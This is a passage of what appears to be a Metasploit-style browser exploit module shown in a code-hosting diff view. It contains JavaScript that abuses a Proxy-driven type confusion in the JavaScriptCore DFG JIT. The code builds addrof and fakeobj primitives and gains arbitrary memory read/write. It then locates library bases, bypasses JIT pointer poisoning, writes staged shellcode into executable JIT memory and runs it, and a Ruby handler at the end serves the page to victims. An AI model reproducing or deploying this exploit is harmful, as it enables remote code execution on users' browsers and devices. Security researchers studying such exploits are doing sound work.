var referenceFloat64Array = new Float64Array(0x1000);
|
||||||
|
|
||||||
|
//
|
||||||
|
// Bug: the DFG JIT does not take into account that, through the use of a
|
||||||
|
// Proxy, it is possible to run arbitrary JS code during the execution of a
|
||||||
|
// CreateThis operation. This makes it possible to change the structure of e.g.
|
||||||
|
// an argument without causing a bailout, leading to a type confusion.
|
||||||
|
//
|
||||||
|
|
||||||
|
//
|
||||||
|
// addrof primitive
|
||||||
|
//
|
||||||
|
function setupAddrof() {
|
||||||
|
function InfoLeaker(a) {
|
||||||
|
this.address = a[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
var trigger = false;
|
||||||
|
var leakme = null;
|
||||||
|
var arg = null;
|
||||||
|
|
||||||
|
var handler = {
|
||||||
|
get(target, propname) {
|
||||||
|
if (trigger)
|
||||||
|
arg[0] = leakme;
|
||||||
|
return target[propname];
|
||||||
|
},
|
||||||
|
};
|
||||||
|
var InfoLeakerProxy = new Proxy(InfoLeaker, handler);
|
||||||
|
|
||||||
|
for (var i = 0; i < 100000; i++) {
|
||||||
|
new InfoLeakerProxy([1.1, 2.2, 3.3]);
|
||||||
|
}
|
||||||
|
|
||||||
|
trigger = true;
|
||||||
|
|
||||||
|
return function(obj) {
|
||||||
|
leakme = obj;
|
||||||
|
arg = [1.1, 1.1];
|
||||||
|
var o = new InfoLeakerProxy(arg);
|
||||||
|
return o.address;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// fakeobj primitive
|
||||||
|
//
|
||||||
|
function setupFakeobj() {
|
||||||
|
function ObjFaker(a, address) {
|
||||||
|
a[0] = address;
|
||||||
|
}
|
||||||
|
|
||||||
|
var trigger = false;
|
||||||
|
var arg = null;
|
||||||
|
|
||||||
|
var handler = {
|
||||||
|
get(target, propname) {
|
||||||
|
if (trigger)
|
||||||
|
arg[0] = {};
|
||||||
|
return target[propname];
|
||||||
|
},
|
||||||
|
};
|
||||||
|
var ObjFakerProxy = new Proxy(ObjFaker, handler);
|
||||||
|
|
||||||
|
for (var i = 0; i < 100000; i++) {
|
||||||
|
new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);
|
||||||
|
}
|
||||||
|
|
||||||
|
trigger = true;
|
||||||
|
|
||||||
|
return function(address) {
|
||||||
|
arg = [1.1, 1.1];
|
||||||
|
var o = new ObjFakerProxy(arg, address);
|
||||||
|
return arg[0];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function makeJITCompiledFunction() {
|
||||||
|
// Some code to avoid inlining...
|
||||||
|
function target(num) {
|
||||||
|
for (var i = 2; i < num; i++) {
|
||||||
|
if (num % i === 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Force JIT compilation.
|
||||||
|
for (var i = 0; i < 1000; i++) {
|
||||||
|
target(i);
|
||||||
|
}
|
||||||
|
for (var i = 0; i < 1000; i++) {
|
||||||
|
target(i);
|
||||||
|
}
|
||||||
|
for (var i = 0; i < 1000; i++) {
|
||||||
|
target(i);
|
||||||
|
}
|
||||||
|
return target;
|
||||||
|
}
|
||||||
|
|
||||||
|
function pwn() {
|
||||||
|
// Spray Float64Array structures so that structure ID 0x1000 will
|
||||||
|
// be a Float64Array with very high probability
|
||||||
|
var structs = [];
|
||||||
|
for (var i = 0; i < 0x1000; i++) {
|
||||||
|
var a = new Float64Array(1);
|
||||||
|
a['prop' + i] = 1337;
|
||||||
|
structs.push(a);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup exploit primitives
|
||||||
|
var addrofOnce = setupAddrof();
|
||||||
|
var fakeobjOnce = setupFakeobj();
|
||||||
|
|
||||||
|
// (Optional) Spray stuff to keep the background GC busy and increase reliability even further
|
||||||
|
/*
|
||||||
|
var stuff = [];
|
||||||
|
for (var i = 0; i < 0x100000; i++) {
|
||||||
|
stuff.push({foo: i});
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
var float64MemView = new Float64Array(0x200);
|
||||||
|
var uint8MemView = new Uint8Array(0x1000);
|
||||||
|
|
||||||
|
// Setup container to host the fake Float64Array
|
||||||
|
var jsCellHeader = new Int64([
|
||||||
|
00, 0x10, 00, 00, // m_structureID
|
||||||
|
0x0, // m_indexingType
|
||||||
|
0x2b, // m_type
|
||||||
|
0x08, // m_flags
|
||||||
|
0x1 // m_cellState
|
||||||
|
]);
|
||||||
|
|
||||||
|
var container = {
|
||||||
|
jsCellHeader: jsCellHeader.asJSValue(),
|
||||||
|
butterfly: null,
|
||||||
|
vector: float64MemView,
|
||||||
|
length: (new Int64('0x0001000000001337')).asJSValue(),
|
||||||
|
mode: {}, // an empty object, we'll need that later
|
||||||
|
};
|
||||||
|
|
||||||
|
// Leak address and inject fake object
|
||||||
|
// RawAddr == address in float64 form
|
||||||
|
var containerRawAddr = addrofOnce(container);
|
||||||
|
var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);
|
||||||
|
print("[+] Fake Float64Array @ " + fakeArrayAddr);
|
||||||
|
|
||||||
|
///
|
||||||
|
/// BEGIN CRITICAL SECTION
|
||||||
|
///
|
||||||
|
/// Objects are corrupted, a GC would now crash the process.
|
||||||
|
/// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.
|
||||||
|
///
|
||||||
|
var driver = fakeobjOnce(fakeArrayAddr.asDouble());
|
||||||
|
while (!(driver instanceof Float64Array)) {
|
||||||
|
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
|
||||||
|
container.jsCellHeader = jsCellHeader.asJSValue();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get some addresses that we'll need to repair our objects. We'll abuse the .mode
|
||||||
|
// property of the container to leak addresses.
|
||||||
|
driver[2] = containerRawAddr;
|
||||||
|
var emptyObjectRawAddr = float64MemView[6];
|
||||||
|
container.mode = referenceFloat64Array;
|
||||||
|
var referenceFloat64ArrayRawAddr = float64MemView[6];
|
||||||
|
|
||||||
|
// Fixup the JSCell header of the container to make it look like an empty object.
|
||||||
|
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
|
||||||
|
driver[2] = emptyObjectRawAddr;
|
||||||
|
var header = float64MemView[0];
|
||||||
|
driver[2] = containerRawAddr;
|
||||||
|
float64MemView[0] = header;
|
||||||
|
|
||||||
|
// Copy the JSCell header from an existing Float64Array and set the butterfly to zero.
|
||||||
|
// Also set the mode: make it look like an OversizeTypedArray for easy GC survival
|
||||||
|
// (see JSGenericTypedArrayView<Adaptor>::visitChildren).
|
||||||
|
driver[2] = referenceFloat64ArrayRawAddr;
|
||||||
|
var header = float64MemView[0];
|
||||||
|
var length = float64MemView[3];
|
||||||
|
var mode = float64MemView[4];
|
||||||
|
driver[2] = containerRawAddr;
|
||||||
|
float64MemView[2] = header;
|
||||||
|
float64MemView[3] = 0;
|
||||||
|
float64MemView[5] = length;
|
||||||
|
float64MemView[6] = mode;
|
||||||
|
|
||||||
|
// Root the container object so it isn't garbage collected.
|
||||||
|
// This will allocate a butterfly for the fake object and store a reference to the container there.
|
||||||
|
// The fake array itself is rooted by the memory object (closures).
|
||||||
|
driver.container = container;
|
||||||
|
|
||||||
|
///
|
||||||
|
/// END CRITICAL SECTION
|
||||||
|
///
|
||||||
|
/// Objects are repaired, we will now survive a GC
|
||||||
|
///
|
||||||
|
if (typeof(gc) !== 'undefined')
|
||||||
|
gc();
|
||||||
|
|
||||||
|
memory = {
|
||||||
|
read: function(addr, length) {
|
||||||
|
driver[2] = memory.addrof(uint8MemView).asDouble();
|
||||||
|
float64MemView[2] = addr.asDouble();
|
||||||
|
var a = new Array(length);
|
||||||
|
for (var i = 0; i < length; i++)
|
||||||
|
a[i] = uint8MemView[i];
|
||||||
|
return a;
|
||||||
|
},
|
||||||
|
|
||||||
|
write: function(addr, data) {
|
||||||
|
driver[2] = memory.addrof(uint8MemView).asDouble();
|
||||||
|
float64MemView[2] = addr.asDouble();
|
||||||
|
for (var i = 0; i < data.length; i++)
|
||||||
|
uint8MemView[i] = data[i];
|
||||||
|
},
|
||||||
|
|
||||||
|
read8: function(addr) {
|
||||||
|
driver[2] = addr.asDouble();
|
||||||
|
return Int64.fromDouble(float64MemView[0]);
|
||||||
|
},
|
||||||
|
|
||||||
|
write8: function(addr, value) {
|
||||||
|
driver[2] = addr.asDouble();
|
||||||
|
float64MemView[0] = value.asDouble();
|
||||||
|
},
|
||||||
|
|
||||||
|
addrof: function(obj) {
|
||||||
|
float64MemView.leakme = obj;
|
||||||
|
var butterfly = Int64.fromDouble(driver[1]);
|
||||||
|
return memory.read8(Sub(butterfly, 0x10));
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
print("[+] Got stable memory read/write!");
|
||||||
|
|
||||||
|
// Find binary base
|
||||||
|
var funcAddr = memory.addrof(Math.sin);
|
||||||
|
var executableAddr = memory.read8(Add(funcAddr, 24));
|
||||||
|
var codeAddr = memory.read8(Add(executableAddr, 24));
|
||||||
|
var vtabAddr = memory.read8(codeAddr);
|
||||||
|
var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET);
|
||||||
|
print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned);
|
||||||
|
var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000"));
|
||||||
|
print("[*] JavaScriptCore.dylib @ " + jscBase);
|
||||||
|
|
||||||
|
var dyldStubLoaderAddr = memory.read8(jscBase);
|
||||||
|
var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET);
|
||||||
|
var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET));
|
||||||
|
var libCBase = Sub(strlenAddr, STRLEN_OFFSET);
|
||||||
|
print("[*] dyld.dylib @ " + dyldBase);
|
||||||
|
print("[*] libsystem_c.dylib @ " + libCBase);
|
||||||
|
|
||||||
|
var confstrAddr = Add(libCBase, CONFSTR_OFFSET);
|
||||||
|
print("[*] confstr @ " + confstrAddr);
|
||||||
|
var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET);
|
||||||
|
print("[*] dlopen @ " + dlopenAddr);
|
||||||
|
|
||||||
|
// Patching shellcode
|
||||||
|
var stage2Addr = memory.addrof(stage2);
|
||||||
|
stage2Addr = memory.read8(Add(stage2Addr, 16));
|
||||||
|
print("[*] Stage 2 payload @ " + stage2Addr);
|
||||||
|
|
||||||
|
stage1.replace(new Int64("0x4141414141414141"), confstrAddr);
|
||||||
|
stage1.replace(new Int64("0x4242424242424242"), stage2Addr);
|
||||||
|
stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length));
|
||||||
|
stage1.replace(new Int64("0x4444444444444444"), dlopenAddr);
|
||||||
|
print("[+] Shellcode patched");
|
||||||
|
|
||||||
|
// Leak JITCode pointer poison value
|
||||||
|
var poison_addr = Add(jscBase, 305152);
|
||||||
|
print("[*] Poison value @ " + poison_addr);
|
||||||
|
var poison = memory.read8(poison_addr);
|
||||||
|
print("[*] Poison value: " + poison);
|
||||||
|
|
||||||
|
// Shellcode
|
||||||
|
var func = makeJITCompiledFunction();
|
||||||
|
var funcAddr = memory.addrof(func);
|
||||||
|
print("[+] Shellcode function object @ " + funcAddr);
|
||||||
|
var executableAddr = memory.read8(Add(funcAddr, 24));
|
||||||
|
print("[+] Executable instance @ " + executableAddr);
|
||||||
|
var jitCodeAddr = memory.read8(Add(executableAddr, 24));
|
||||||
|
print("[+] JITCode instance @ " + jitCodeAddr);
|
||||||
|
|
||||||
|
var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32));
|
||||||
|
var codeAddr = Xor(codeAddrPoisoned, poison);
|
||||||
|
print("[+] RWX memory @ " + codeAddr.toString());
|
||||||
|
print("[+] Writing shellcode...");
|
||||||
|
var origCode = memory.read(codeAddr, stage1.length);
|
||||||
|
memory.write(codeAddr, stage1);
|
||||||
|
|
||||||
|
print("[!] Jumping into shellcode...");
|
||||||
|
var res = func();
|
||||||
|
if (res === 0) {
|
||||||
|
print("[+] Shellcode executed sucessfully!");
|
||||||
|
} else {
|
||||||
|
print("[-] Shellcode failed to execute: error " + res);
|
||||||
|
}
|
||||||
|
|
||||||
|
memory.write(codeAddr, origCode);
|
||||||
|
print("[*] Restored previous JIT code");
|
||||||
|
|
||||||
|
print("[+] We are done here, continuing WebContent process as if nothing happened =)");
|
||||||
|
if (typeof(gc) !== 'undefined')
|
||||||
|
gc();
|
||||||
|
}
|
||||||
|
|
||||||
|
ready.then(function() {
|
||||||
|
try {
|
||||||
|
pwn();
|
||||||
|
} catch (e) {
|
||||||
|
print("[-] Exception caught: " + e);
|
||||||
|
}
|
||||||
|
}).catch(function(err) {
|
||||||
|
print("[-] Initializatin failed");
|
||||||
|
});
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
^
|
||||||
|
unless datastore['DEBUG_EXPLOIT']
|
||||||
|
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '')
|
||||||
|
end
|
||||||
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Loading…
Reference in New Issue